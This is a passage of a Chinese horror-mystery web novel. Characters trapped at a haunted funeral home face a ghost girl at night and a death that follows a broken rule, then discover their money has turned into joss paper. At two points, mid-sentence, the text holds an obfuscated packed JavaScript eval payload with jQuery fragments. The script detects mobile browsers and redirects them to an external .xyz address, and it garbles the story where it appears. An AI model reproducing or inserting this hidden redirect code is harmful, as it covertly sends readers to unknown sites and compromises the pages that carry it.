“现在随机分发房间的号牌。”王齐东从身后的皮带扣取下一串红色的号牌,每一个号牌上都挂着一根扎头发用的电话线圈,整个类似于超市的寄存牌。 “我来。”傅平湘率先走到王齐东面前,拿到第一个号牌,“5号。” 王齐东继续取下第二个号牌,姜银砚微笑着同郑暧说:“小暧,你先吧。” “嗯嗯。”郑暧才走出一步,孙田却飞快地抢到她前面,问王齐东:“有没有8号或者6号。” “随机发。”王齐东强调一遍后,不苟言笑地把第二个号牌给孙田。 孙田拿到一看,“怎么是4号?” 王齐东接着又取下第三个号牌,交给等在旁边的郑暧。 “是几号?”傅平湘凑过来问。 郑暧看一眼编号,“1号。” 接下来,姜银砚、霍闻川和蒲耀分别拿到8号、7号以及3号房间的号牌。 所有人都领到号牌后,王齐东嘱咐道:“每个人都保管好自己的号牌,不要遗失,要住对应的房间,不可以交换号牌。” 说完便转身往回走,眨眼不见人影。 霍闻川收回目送王齐东离开的目光,“他的话里,除开搭建灵堂,有两个很重要的信息,也就是规则。” 姜银砚一秒领悟到,“住号牌对应的房间,天亮之前不要出门,保管好号牌且不能互换。” 郑暧把电话圈套在手腕上,“我们把号牌戴手腕上吧,这样就不容易弄丢了。” “小题大做。”孙田用一根手指勾着线圈,并不把王齐东的叮嘱当一回事。 傅平湘老老实实地把线圈戴到腕子上,“某些人要是弄丢了号牌,可千万别来求我们救命,我可不会搭理你。” 转头又十分孩子气地对姜银砚和霍闻川说:“姜姐姐,霍大帅哥,你俩也别搭理他。” 霍闻川不欲再耽搁时间,把线圈套好后便说:“我们进去吧。” 姜银砚和霍闻川走在前面,傅平湘和郑暧跟在后面,四人两两并肩地走进铁门。 进铁门之后,霍闻川用只有身旁人才能听到的声量同姜银砚说:“阿砚,保管好打火机。” 姜银砚心神一凛,虽不知已经召唤出亡者之灵的灵物还有何用处,但听霍闻川特地叮嘱,猜也知必能再派上用场,便将打火机装进挎包里。 郑暧走进铁门后,回头一看,竟见蒲耀和孙田还在外面杵着不动,“小蒲哥,孙大哥,你们不进来吗?” 蒲耀在打量殡仪馆的外观,听到郑暧的声音后,点了点头,举步跟上。 孙田也没再继续逗留,跟在蒲耀后面往里走,经过铁门时,看到两旁的无头假人,好奇地捏了捏左边男人的手臂,软软的,手感竟与真人无异,“做的还挺真。” 听到孙田的自言自语,傅平湘回头就看到他在动假人,嗤道:“这种人,放刑侦片里活不过半集。” 因刚才初见时孙田对姜银砚口出无礼之言,让姜银砚对他浑无好感,自然无心提醒他,低声说:“别管他了。” 六人来到大厅,看到左右两侧摆着大大小小尚未拆封的纸箱,最大的有半人高,最小的也有微波炉那么大,每一口纸箱外都印刷着“易燃”二字。 姜银砚数了数,“一共十口纸箱。” 最大的纸箱上面放着一把沾满胶印的黄色美工刀,霍闻川径直走过去,拿起美工刀,把十口纸箱的胶带逐一划开,随后对众人说:“开工吧。” 4. 白华园殡仪馆 五人协力搭灵堂的同时,姜银砚把迷案之地的事告诉给了郑暧和蒲耀。 在门口闲坐的孙田听后嘲讽说:“全部都是鬼扯淡,只有傻子才信。” 无人接茬,连最看不惯他的傅平湘此时都心神专注地在搭灵堂,懒得理睬他。 搭灵堂的祭品都是极薄的简易木板,虽然未附说明书,但五人也能自主操作,只用去不到一个小时就已经全部搭好。 只是有一点很奇怪,传统的灵堂布置大多都是黑白两色,棺材、挽幛几乎必不可少,但纸箱里的木板却是一水儿的清新色系,不见棺材,却有一架兔耳靠背的单人床,还有装满一整个衣柜的粉色系纸衣。 整体一看,俨然是一个小女孩的房间,跟灵堂可以说是毫不沾边。 “这是灵堂?”傅平湘被眼前刚刚搭好的灵堂惊掉下巴。 “像是小姑娘的房间。”姜银砚同样不解。 郑暧也一脸迷惑地看着面前古怪的灵堂,话少的蒲耀继续沉默无声。 孙田扭头一看,“哟,你们在玩积木?好兴致啊。” 语气充满嘲讽。 霍闻川却十足的淡定,像是对不符合现实的一切事物都已经习以为常,看向傅平湘,“我们把尸体搬进来吧。” 傅平湘耸起双肩,面露怯意,“我不敢,我怕。” 姜银砚正打算说她可以,沉默寡言的蒲耀先于她开口:“我去。” 霍闻川冲蒲耀点点头,二人一齐朝外面走。 五六分钟后,霍闻川和蒲耀一前一后地将尸体抬进灵堂。 傅平湘环顾一周,唯一可以放置尸体的位置只有刚刚搭起的木板床,但木板薄如纸,尸体目测有150斤重,木板床根本承受不起这个重量,犯难地说:“放哪儿啊?” 霍闻川不假思索地说:“床。” “能行吗?”傅平湘表示怀疑。 霍闻川没有回答,回头给蒲耀以眼神示意,两人合力将尸体抬到木板床放下。 看起来一点也不结实的纸板床竟然稳稳当当地承受住了尸体的重量,实在有些出人意料。 “闻川小哥,你能告诉我们这是怎么一回事吗?”姜银砚问。 霍闻川一边擦手,一边回答:“在迷案之地,有些事情和现象没办法用现实的思维去理解,多经历几次你们自然就明白了。” “多经历几次?”傅平湘心肝一颤,“我们总共要经历多少次?” “不知道。” 三个字像是一副沉重的枷锁,将大家囚困其中。除开将自己全然置身事外的孙田,其他几人的脸上都或浓或淡地泛起一抹看不到结局的迷茫。 然而,再不情愿也只能接受,蒲耀淡漠地提醒众人:“我们该回房间了。” 上二楼的楼梯就在灵堂的旁边,六人陆续上楼。 二楼的阳台走廊一片漆黑,六人全部上来后,瞬间亮起昏黄的灯,首尾各一盏,再加正中间一盏,一共三盏,足以使人看清楚整个走廊的布局。 六人站在楼梯口往前望,所有房间都是老旧的黄漆木门,门上均贴着一块生满绿锈的正方形铜质牌,上面写着数字。 离楼梯口最近的是1号房间,拿到1号房间号牌的是郑暧。 郑暧走到门口,准备开门,却发现黄漆门既无把手,也无锁,她诧异地回头看五人,“房门没有锁。” 姜银砚走到门前,一看,本该有锁的位置却光秃秃一片,“小暧,你推门试试。” 郑暧点点头,伸手触门,一推即开。 姜银砚恍然大悟,“难怪王齐东不给我们钥匙,原来是根本没有锁。” “这样一来,岂不是每个人都能随意开门?”姜银砚说这话时眼睛看的是霍闻川,期待他的解答。 “不会。”霍闻川不负所托地说:“住对应的房间,不能交换号牌就已经限定了区域。” 姜银砚:“如果有人强行开别人的门会怎么样?” 霍闻川:“触犯规则的后果是危及性命。” “明白了。”姜银砚对众人说:“时间不早了,我们都快回自己的房间吧。” 傅平湘瑟瑟地站出来,挨着霍闻川,“霍大帅哥,我能和你一个房间吗?我不敢一个人住,我害怕。” “那可不行,你没听到王齐东说的,要住对应的房间。”姜银砚直接抹杀掉傅平湘的想法。 郑暧给傅平湘出主意:“小傅哥,你睡觉的时候用被子蒙住头就不会害怕了。” “对应的房间,呵,老子才不信邪。”孙田将号牌往地上一丢,径直走到6号房间外,推门而入。 郑暧担忧地喊:“孙大哥,你……” 本想劝孙田不要违反规则,霍闻川却沉声说:“来不及了,现在连4号房间也不属于他了。” 傅平湘、郑暧、蒲耀三人还在思考霍闻川话里的意思,就听姜银砚说:“4号牌不见了。” 三人连忙往孙田丢弃4号牌的地方看去,那里已经空空如也,傅平湘和郑暧连忙攥紧套住自己手腕的号牌,生怕一个不小心就遗失了去。 楼梯口的灯突然一闪,亮度肉眼可见地降低,霍闻川神情凛然,催促道:“大家快回自己的房间,天亮之前不要出来。” 郑暧离房间最近,立刻转身回房。 余下四人也逐一回到自己的房间。 姜银砚的8号房间距离楼梯口最远,在走廊的尽头,推开门后,前脚刚踏进去,外面的灯又是一闪。 而这一次,光线微弱得仿佛随时都将熄灭。 匆匆关闭房门,姜银砚在靠门一侧的墙壁摸到开关,一摁,却不见灯亮。 她狐疑地仰头一望,借着从门顶小窗投进来的幽晦灯光,看到天花板孤零零地吊着一根电线,尾端不见灯泡。 姜银砚以为今晚要摸黑时,到床边坐下,手指蓦然触碰到一个冰凉的物体,她吓得缩回手,歪头一看,竟是一只老旧的铁质电筒,她惊喜地抓起电筒,拇指向上推开关。 俄而,一束淡淡的黄光穿透镜片射到外面,姜银砚终于看清楚整个房间的布设。 房间呈长方形,非常狭窄,里面只有一张一米二的白漆铁架床,上面铺着纯白色的被褥,看起来像是医院的病床,好在被褥还算干净。 姜银砚把电筒放到枕头上,又从包里翻出两片湿巾,当前的处境容不得她细致卸妆,只整个儿地胡乱擦拭一遍即作罢,随后合衣躺下,关掉电筒,把削眉刀牢牢握在手里。 今天发生的事情极大地超出姜银砚二十四年来积累的所有认知,她躺在床上辗转反侧,毫无睡意。 不知过去多久,“吱……啦……”房门被推开的细微声清晰地传到姜银砚耳中,她身体猛然绷紧。 王齐东告诫过他们,天亮之前不要出门,所以在这个时候进来的一定不是霍闻川、傅平湘、郑暧和蒲耀四人,唯一有此胆量且不顾规则的人就只有孙田。 但当真是孙田吗? 迟疑片刻,姜银砚还是决定看一看究竟,她缓缓将眼睛睁开一道缝,却见到地上映着一个小小的影子。 分明是一个小孩。 影子缓缓入内,脚步迈得非常轻,声音几不可闻。 随着小孩走近床边,姜银砚影影绰绰看到是一个六七岁穿着白裙子的小女孩。 担心小女孩发现自己醒着,姜银砚赶紧闭眼,内心紧张到极点,不知道她要做什么。 小女孩一动不动地站在床边,姜银砚感觉得到她在注视自己。 深更半夜,一个小女孩出现在这里,姜银砚心里已经有了判断,她多半不是活人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419450|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 持续了五六分钟后,小女孩冷不丁地开口说:“起来陪我玩。” 稚嫩的声音却透着一股阴森,姜银砚当场吓出一身冷汗,小女孩显然是在试探自己到底有没有睡着,直觉告诉她,必须继续装睡。 没有等到姜银砚的回应,小女孩竟然开始往床上爬,将铁架床弄出“嘎吱嘎吱”的轻响,一下又一下,撞击着姜银砚的心脏和神经。 姜银砚感觉到小女孩的脸离自己的脸越来越近,冰冷的气息也随之传来,沾染着她温热的皮肤,寒意四起。 这一次,姜银砚非常肯定,小女孩不是活人。 姜银砚强迫自己继续保持均匀的呼吸,以免被小女孩看出破绽。 时间一分一秒地过去,姜银砚的衣服早已被冷汗浸湿,粘在身上令人不适。 又过了大概十分钟,姜银砚察觉到咫尺之间的冰冷气息开始减弱,同时听到窸窸窣窣的声音,她知道,小女孩应该是在下床。 果然,很快就听到关门的声音。 姜银砚仍然不敢动作,她担心万一是小女孩故意做出离开的假象从而引诱她睁开眼睛,所以她宁可忍耐。 随着时间的拉长,恐惧逐渐被困意包围,姜银砚再次醒来是被一阵惨叫声惊醒。 听声音,像是孙田。 “救命……救救我……你是谁,出去……快出去……啊……” 凄厉的求救声划破夜晚的寂静,但谁也不敢开门出去。 叫喊声逐渐微弱,到最后完全消失,姜银砚心知,孙田恐怕是凶多吉少。 孙田的突发事件使得姜银砚再也没有睡意,一直熬到天亮,直到霍闻川敲门的声音响起:“阿砚,醒了吗?” 姜银砚有气无力地坐起来回应:“醒了。” 打开房门后,姜银砚看到霍闻川精神依旧,似乎一夜好眠。 由于姜银砚的房间正好在走廊的尽头,所以不知道那个小女孩是否进了所有人的房间,便迫不及待地问:“昨天半夜,有没有一个小女孩进你屋子?” 霍闻川:“有,还听到孙田砸墙的声音。” 孙田昨晚进的是6号房间,就在霍闻川和傅平湘的中间,他砸墙想必是想向两人求救。 姜银砚往6号房间望去,房门紧闭,不知道里面是什么情况,便说:“我们先去把其他人也叫起来吧。” 二人刚走到5号房间外,3号房间的蒲耀便推门开。 三人对视一眼,姜银砚说:“蒲耀,麻烦你去叫一下郑暧,我们来叫傅平湘。” “好。”蒲耀简短地应下后,便朝1号房间走去。 “咚咚咚……” 姜银砚一边敲傅平湘的门,一边喊:“傅平湘,起来了。” 连敲数下,屋子里都没有发出一点动静,姜银砚悚然地看向霍闻川,随即推开房门。 只见傅平湘坐在房间的角落里,一动不动。 姜银砚大阔步走到傅平湘面前,蹲下身后才发现他用卫生纸团成球堵了双耳,难怪刚才一直敲门都不见答应。 姜银砚上手摘掉傅平湘塞住耳朵的纸团,摇他肩膀,“傅平湘,傅平湘……” 傅平湘一脸疲惫地睁开眼,看到面前的姜银砚和霍闻川时竟激动地哭出来,“你们终于来了,我要被吓死了。” 霍闻川语气平淡地说:“起来吧,白天不会有事发生。” “昨天晚上……”傅平湘准备告诉二人昨晚发生的事,姜银砚却打断他:“等郑暧和蒲耀来了之后一起说。” 话音刚落,郑暧和蒲耀就出现在门口。 郑暧的脸色看起来比昨天憔悴了一些,明显也睡得不好,她的目光一直望着6号房间,“孙大哥昨天晚上……” 霍闻川转身往外走,“我们去看看。” 5. 白华园殡仪馆 五人围在孙田的门口,傅平湘拉着郑暧站在最外面,根本不敢靠近。 霍闻川伸手推门之前,偏头问身旁的姜银砚:“怕吗?” “怕也只能忍着。”姜银砚周身肌肉已经不自觉地绷紧。 霍闻川浅浅一笑,推开门。 浓烈的血腥气扑鼻而来,雪白的墙壁布满触目惊心的血手印,孙田平躺在床上,表情惊恐,双眼大睁,像是看到什么恐怖的东西。 单是在门口匆匆一瞥,姜银砚便受到了不小的冲击,禁不住捂鼻后退。 傅平湘只是看到姜银砚惊恐的模样便已经心颤,万万不敢再进房间看个究竟。 霍闻川进去后,蒲耀也跟着入内。 姜银砚强忍住心中的惧怕,再次靠近门口,从指缝间往里看。 孙田的尸体已经凉透,霍闻川在房中检查一遍后,直接掀开被子,竟见孙田胸口以下的部分全部焦黑,像是被火烧过,已经呈现出炭化的状态。 但很诡异的是,整个房间连被烟熏过的痕迹都没有。 姜银砚惊讶不已,“他这是……被火烧了?” 霍闻川端详着孙田被烧焦的半身,“应该是。” “可是昨晚没见着火光啊。”郑暧虽然也不敢目睹房间里的惨状,但在根据姜银砚和霍闻川的对话思考。 蒲耀沉沉开口:“是昨天晚上的小女孩。” “看来小女孩去过我们每一个人的房间。”姜银砚微皱眉头,一想到昨晚小女孩进门甚至爬床的场景便骇起一身鸡皮疙瘩。 傅平湘哆哆嗦嗦地接话:“不住对应的房间就会死。” 霍闻川重新给孙田盖上被子,“我们下去吃早饭吧。” 姜银砚忍不住又往里看了一眼,长这么大还是头一次见到这样惊悚的场面,问道:“孙田的尸体怎么办?” “会被处理掉。”霍闻川言谈举止中都透着一股从容,像是已经司空见惯。 五人来到楼下,看到王齐东站在大门口,换了身衣裳,似乎特地在等他们。 “王馆长。”霍闻川跟他打起招呼。 “殡仪馆没有食堂,我们通常都是在秦姐的饭馆吃饭,我带你们过去吧。”王齐东脸上没有任何表情,淡漠得像是一个高端的机器人。 去往饭馆的路上,霍闻川开始跟王齐东闲聊:“王馆长,殡仪馆平时只有你一个人吗?” 在前面带路的王齐东停下脚步,回头指走在中间的傅平湘,“小傅是我们的司机,负责接送尸体。” 傅平湘瞳孔一缩,不迭摇头,低声道:“我没有,我不是。” 姜银砚忍俊不禁,顺着王齐东的话说:“王馆长,小傅在你们殡仪馆工作多久了?我看他业务不是特别熟练啊。” 王齐东说:“小傅上个月才来。” 姜银砚又问:“之前的司机呢?” 本是顺口一问,没想到王齐东脸色大变,“你问这个做什么?不该问的别问。” 姜银砚被王齐东突然转变的态度吓了一跳,回头和身后的傅平湘、郑暧面面相觑。 霍闻川目不转睛地看着王齐东的背影,若有所思。 王齐东将五人带到秦姐的饭馆后同秦姐交待了几句,一口饭没吃就走了。 秦姐的饭馆名叫聚源大饭店,名字取得高调,实则是一间面积不足六十平方的老旧中餐馆,开在两层自建房的一楼。 二楼一共两栋窗户,虽是夏天,但因今天的阳光并不盛,天边还堆着厚厚的乌云,明显将有一场雨,所以丝毫感觉不到炎热,可是两栋窗户都紧紧闭着,窗帘也拉得无比严实,而外墙又不见空调挂机。 “你们说那上面有人住吗?”姜银砚发现二楼窗户的异常,便悄声问身旁的伙伴们。 听到姜银砚的问题,几人不约而同地仰头上看。 傅平湘望一眼便笃定道:“一看就没人住,没有空调还关的那么严实,住里面不被憋死也得被热死。” “我见过挺多用自己的房子开餐馆,老板一般就住楼上。”姜银砚总觉得有哪里不对劲。 不止姜银砚有疑惑,霍闻川同样有。 从殡仪馆过来的一路霍闻川都在不停地观察,所以在还有三十来米远的时候他就已经注意到聚源大饭店二楼的窗户。 和沿路几家餐馆的共同之处是都用的自建房开店,不同之处就是姜银砚注意到的异常,其他餐馆的二楼窗户无一不是大开,只有这家是关得风雨不透。 “可以找机会问问。”霍闻川结束姜银砚和傅平湘的对话。 走进餐馆后,除开霍闻川淡定如常,其他四人几乎同时皱眉,嫌弃之色赤.裸.裸表现在脸上。 只见屋角挂着蛛网,桌椅油腻得泛光,也不知道多久没有擦透过,还有四处乱飞的苍蝇直接让人食欲大减,卫生条件实在堪忧。 聚源大饭店离殡仪馆其实并不算特别近,走路约摸需要十五分钟,沿途的三四家饭馆都处于正常营业状态,店面虽也不大,但环境和卫生状况却比聚源饭店好不少,而这其中还有一家早餐店,也不知道殡仪馆的人为什么会选择在这家吃饭。 秦姐身材微胖,看上去应当已经年过五旬,王齐东一走便热络地来招呼五人落座,却不让他们点单,直接就去后厨准备饭菜。 目送秦姐离开后,郑暧小声提议:“这里看起来好不卫生啊,我看到那前面有一家早餐店,环境还看得过去,我们要不去那里吃吧?” 傅平湘第一个同意,在兜里摸了半天,最后一脸苦哈哈地掏出一张学校食堂的饭卡,“我只有这个。” “我有。”郑暧连忙去翻自己随身背的小包,竟然从里面翻出来四张冥币,骇得直接丢到桌子上,“怎么会这样?钱怎么变成冥币了?” 震惊不已的四人齐刷刷望向有经验的霍闻川,等待他的解答。 霍闻川没有立刻解答众人的疑惑,不紧不慢地将手伸进兜里,同样拿出几张冥币摆在桌上,“我们从现实世界带进来的东西,跟案子沾边的就会变成案件中所呈现出来的样子,要么这件案子里的通用货币就是冥币,要么有别的深意。” 姜银砚拿起一张冥币,将正反两面都仔细看了一遍,“回去之后还能再变回钱吗?” 霍闻川:“可以。” 姜银砚灵光一闪,冲郑暧说:“小暧,你再看看你包里的其他东西有没有变化。” “嗯。”郑暧将包里的东西全部拿出来放在桌上,“其他东西都没有变化。” 半晌不作声的蒲耀开口说:“我们可以试试冥币能不能在这里使用。” 傅平湘累积一整夜的恐惧感到现在已经淡去不少,也拿起一张冥币来看,“我好奇的是,给找的零钱回去之后会变成我们那儿的零钱么?” 姜银砚将冥币还给霍闻川,“你的关注点还真是清新脱俗。” 霍闻川揣回冥币,辞气平和地说:“我们各自讲一下昨天晚上回房间后遇到的事吧,我先。” 回忆起昨晚恐怖的经历,傅平湘的恐惧感当场倒灌回来。 霍闻川刚说完,秦姐就端着一托盘炒菜从后厨走出来。 秦姐来回三趟,将四五个菜碟和装着米饭的小木桶摆到桌上后,又到柜台后面拿来两瓶没有任何标签的酒,不经询问就直接打开瓶盖。 且不说五人平常都很少沾酒,即便是沾,也断断没有大清早就喝酒的习惯,不知道秦姐葫芦里卖的什么药。 霍闻川礼貌拒绝:“秦姐,我们不喝酒。” “你们不喝酒?”听到霍闻川的话,秦姐反倒大吃一惊,仿佛不相信自己的耳朵。 秦姐的反应让众人更是狐疑,明明很正常的事,为什么在秦姐的眼里却好像很稀奇。 姜银砚小心翼翼地问:“我们……应该要喝吗?” 秦姐把五人挨个打量了一下,随后笑盈盈地说:“你们是从外地来的吧?我们这儿一日三餐都少不了酒。” 郑暧讶异地问:“要是喝醉了怎么办?” 秦姐说:“我们这儿的酒不醉人,跟喝水差不多。” “劳烦秦姐了,放旁边吧。”霍闻川夹了一口炝炒白菜送进嘴里。 “你们慢慢吃,不够再跟我说。”说完这话后,秦姐又返回厨房。 傅平湘瞪大眼睛盯着摆在桌子中间的红烧肘子,“酒也就算了,大清早就让我们吃这么油腻。” “是很奇怪。”霍闻川嘴里这样说着,手上却并没有停筷。 而跟霍闻川同桌的四个人都干坐着不动,四道目光同时汇聚在他身上,看着他吃。 “不用担心,迷案之地的食物和现实世界里的一样,可以食用。” 霍闻川的话像是给众人吃了一颗定心丸,四人终于放心,纷纷握起筷子大快朵颐起来。 姜银砚的目光扫过手旁的酒瓶,“那个酒……要喝吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419451|184759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 霍闻川:“不用喝。” “不喝会不会破坏规则?”傅平湘对昨天晚上孙田破坏规则所遭受的后果心有余悸。 霍闻川不置可否,只是说:“先吃饭。” 在吃饭的同时,姜银砚四人继续讲自己昨晚的经历,除开霍闻川和傅平湘有听到剧烈的捶墙声以外,其他事情都一样。 “对了,”蒲耀最后一个讲完后,姜银砚看向傅平湘,“你昨晚怎么没有在床上睡?” 傅平湘喝着碗里的紫菜蛋花汤,“挨床的那堵墙像要被捶裂了似的,我哪还敢躺床上。在地上坐了一宿,睁眼到天明。” “我看是酣睡到天明吧,早上敲半天门都没有动静。”姜银砚笑完傅平湘后又看向霍闻川,“闻川小哥,我们吃完饭就回殡仪馆找证物吗?” 霍闻川食量较轻,没吃几口便已搁筷,“对,我们要尽快找到证物破案,否则在迷案之地留得越久,我们越危险。” 争分夺秒的紧迫感让四人已然失去食欲,不约而同地停筷。 霍闻川站起身,“我去后面找秦姐结账。” 两三分钟后,霍闻川去而复返,却没有回到饭桌前,而是径直走到柜台后面,打开抽屉一通翻找。 四人怔怔地望着霍闻川,不知道他在找什么,但直觉肯定跟案情有关,所以连话最多的傅平湘也没敢出声询问,生怕还在后厨的秦姐听到声音赶过来打断霍闻川的行动。 翻到最后一个抽屉时,霍闻川的表情出现细微的变化,约摸三秒钟的定睛后,霍闻川推回抽屉,从柜台里出来,对还愣在那里的四人说:“王馆长已经结过账了,我们走。” 四人赶紧起身,鱼贯而出。 走到饭馆外面后,姜银砚才开口问:“你是不是发现了什么?” 霍闻川温和笑道:“是求证。” 在后面听的傅平湘一下挤到霍闻川和姜银砚中间,好奇地问:“求证什么?” 霍闻川没有回答傅平湘的话,而是指着不远处的早餐店问:“那家的包子应该还不错,你们想不想尝尝?” 四人都有些摸不着头脑,郑暧老老实实地说:“我刚才已经吃饱了。” 蒲耀摇摇头,“我也饱了。” 霍闻川只是笑笑,没有接话,脚步却在朝早餐店迈近。 四人狐疑地跟上,准备看个究竟。 早餐店的老板是一对中年夫妻,两个人正忙着换笼屉。 霍闻川走到店前,面带微笑,“老板,有白菜馅的包子吗?” 女人笑眯眯地说:“有有有,你要几个?” 霍闻川:“两个。” 男人麻利地揭开第三层笼屉,用食品袋兜住两只热腾腾的包子递给霍闻川。 霍闻川接过包子后问:“多少钱?” 女人说:“三块。” 霍闻川从裤兜里取出一张冥币递给女人。 四人这才明白,原来霍闻川是想知道冥币是不是这里的通用货币。 夫妻两人看到冥币后,脸色瞬间大变,男人凶狠地怒吼:“哪来的疯子,拿死人的钱买东西,你是不是想找茬?” 眼见老板怒火冲天,姜银砚急中生智,立马上前把霍闻川拉到身后,“对不住啊老板,我哥哥小时候从床上摔下去磕着脑袋了,治疗不及时所以留下了后遗症,人有点疯傻。” 霍闻川极其配合地冲两夫妻傻笑,当真像是心智不全的人。 女人训斥道:“小姑娘,你也真是粗心,让一个疯子出门多危险,万一伤着人了可怎么办?” “是我不对,我以后一定看好哥哥。”姜银砚取过霍闻川手里提的包子,递回给女人,“还给你们。” 男人没好气地说:“疯子碰过的东西我们不要,你拿走。” 姜银砚回头同霍闻川挤眉弄眼:“哥哥,快谢谢老板。” “谢……谢……老……板。”霍闻川摇头晃脑,语速缓慢地道谢。 离开早餐店后,傅平湘一边吃着热乎的包子,一边称赞姜银砚:“姜姐姐,机智啊,我看那两夫妻是真信了你的鬼话。” 姜银砚现在压根儿没空搭理傅平湘,她的心思全在冥币上,严肃地问霍闻川:“冥币非但不是这里的通用货币,甚至跟现实世界一样,都是烧给过世的人。所以,你现在能不能告诉我们,你在抽屉里面发现了什么?” 霍闻川游目众人,“一叠整齐的冥币。” 6. 白华园殡仪馆 霍闻川一语惊人,傅平湘手里没吃完的半个包子直接吓得掉到地上。 “是王齐东带我们去的秦姐饭馆,难道说……”姜银砚根本不敢把剩下的话说出口。 蒲耀接着姜银砚未完的话说:“王齐东和秦姐都不是活人。” “我们岂不是吃了一顿鬼做的饭?”傅平湘想想都觉得后背发凉,连带着胃里也不太舒服。 郑暧的脸更是瞬间煞白,眼眶里很快蓄起泪花,却强忍住没有哭出来,问道:“我们……我们今天晚上是不是还要继续住殡仪馆啊?” 此刻,大家手腕上的号牌像是一把开启死亡之门的钥匙,谁也不知道接下来会发生什么事。 姜银砚深吸一口气,“早餐店的夫妻应该是活人,我们要不要向他们打听一下殡仪馆曾经有没有发生过什么事?” 霍闻川安排道:“下午我们就去旁边有人的地方打听。” 五人回到殡仪馆时,发现昨夜停在大门外的灵车不见了,而早上出门前都还在。 傅平湘指着地上清晰的车轮印,“我的车呢?” 蒲耀问:“车钥匙在你身上吗?” 傅平湘对那个时候的记忆有些模糊,开始翻兜,但把两个裤兜遍都没有找到车钥匙,回忆一阵,恍然道:“我想起来了,我昨晚就没有拔车钥匙。” “是谁把车开走了?”郑暧环顾四周,殡仪馆附近目之可及的范围里没有一户人家。 姜银砚猜测:“会是王齐东吗?” 傅平湘狐疑地问:“他把车开走是想干什么?” 霍闻川的目光落在铁门上,他们出来的时候,铁门是大开的状态,现在却呈半开半闭状,表明王齐东的确是回来过,“npc做的每一件事都值得注意,等他回来再说,我们现在进去找证物。为节省时间,大家划成两组,分头行事。” 傅平湘蹿到姜银砚身旁,“霍大帅哥,我要跟你和姜姐姐一组。” 霍闻川并未立刻同意,而是问其他人:“几位的意见?” 姜银砚淡然地说:“我和谁一组都行。” 郑暧主动说:“我和小蒲哥一组吧。” 蒲耀:“好的。” “殡仪馆通常分为两部分,一部分是吊唁区,另外一部分是火葬区,火葬区一般设在殡仪馆的背后,面积较吊唁区小,所以郑暧和蒲耀的两人组去火葬区找,我们在吊唁区找。”霍闻川在分配任务时一改平素的温和,表情和言辞都严肃得令旁边人不由自主地心神专注,听他讲话。 末了,霍闻川又嘱咐道:“有的证物很明显,有的则很普通,但每一个证物都是破案的关键,我们争取不漏找任何一处地方。” 四人不约而同地点头。 霍闻川抬起手腕看了一眼时间,随后从兜里掏出一块石英表递给蒲耀,“任何显示时间的工具在进入迷案之地后都会自动调整为案件中的时间,这是我带的备用手表,你们将就着用。现在是八点十三分,我们最好在十一点半之前结束寻找。” 蒲耀接过表戴到手腕上,五人立刻走进铁门,分头行动。 除火葬区之外的区域都属于吊唁区,从布局上来看,吊唁区的中间部分是灵堂,灵堂左侧是员工住宿区,右侧尚且不知,所以三人决定先从右侧开始找。 一楼是几间门窗紧闭的空屋,隔窗看进去,一目了然。 傅平湘从一楼所有屋子均是闲置的状态中得出一个结论:“这间殡仪馆的生意不好嘛。” 姜银砚随口道:“大概是因为位置太偏僻了。” 一楼无所获,霍闻川当即说:“我们去二楼。” 上二楼的楼梯在几间空屋的中间位置,三人沿着楼梯上行。 宿舍区的走廊阳台是朝向大门口,右侧的走廊阳台是朝向殡仪馆的背后,也因此可以看到后面的火葬区。 除开卫生间之外,二楼一共有三间屋子,每一扇门上都贴着示意牌,分别是“园长办公室”“储物室”“接待室”。 傅平湘的视线扫过整条走廊,“二楼是办公区啊。” “试试门能不能开。”姜银砚说完便去开近旁储物室的门。 每一扇门都是圆头锁,姜银砚一拧就开,惊喜地说:“门没锁。” 霍闻川朝她微笑,随即道:“刚好三间屋子,我们每人找一间。我找园长办公室,阿砚找储物室,傅平湘找接待室。” 任务分配好后,三人立即进入各自负责的区域。 办公室的布设很简单,一张朱漆斑驳的办公桌,一套白色的铁皮文件柜,一个尚余半桶水的饮水机,外加一组三人座的棕色皮沙发及一张老式的玻璃茶几。 霍闻川一眼扫过去便看出这间园长办公室有古怪。 再整洁的办公桌上面也不至于空无一物,连一支笔、一张纸都没有,而茶几上的纸杯却胡乱摆放,白色的陶瓷烟灰缸几乎被烟蒂堆满。 两者一对比,实在很不协调。 霍闻川先走到离门口最近的茶几旁,看到每一只纸杯里都盛着或多或少的水,有的里面漂浮着小飞虫,有却像是刚盛不久。 霍闻川随手拿起一只纸杯,凑到鼻尖轻轻一嗅,闻到一股淡淡的酒气,同时还发现杯身外壁用铅笔写着一个蚊虫大小的数字“3”。 字迹虽淡,却很工整,并不像一时兴起所写。 霍闻川又拿起一只纸杯,外壁写着“4”,里面同样泛着酒气。 最后,霍闻川索性将6只纸杯逐一拿起,发现每一只纸杯的外壁都写着数字,从“1”到“6”,且杯中都盛着酒。 由于没有相关线索的支撑,霍闻川暂时想不明白写在纸杯上的数字到底有什么含义,只能隐约推测里面的酒应当不是王齐东自己喝的。 若是嗜酒的人,根本不会允许酒杯不见底。而不嗜酒的人,即使留底也会先将剩下的喝完再盛新。 放下纸杯,霍闻川又走向古怪的办公桌,先观察桌面,没有发现值得注意的印记,随后拉开抽屉。 左右两侧一共有六格抽屉,霍闻川从上往下依次拉开。 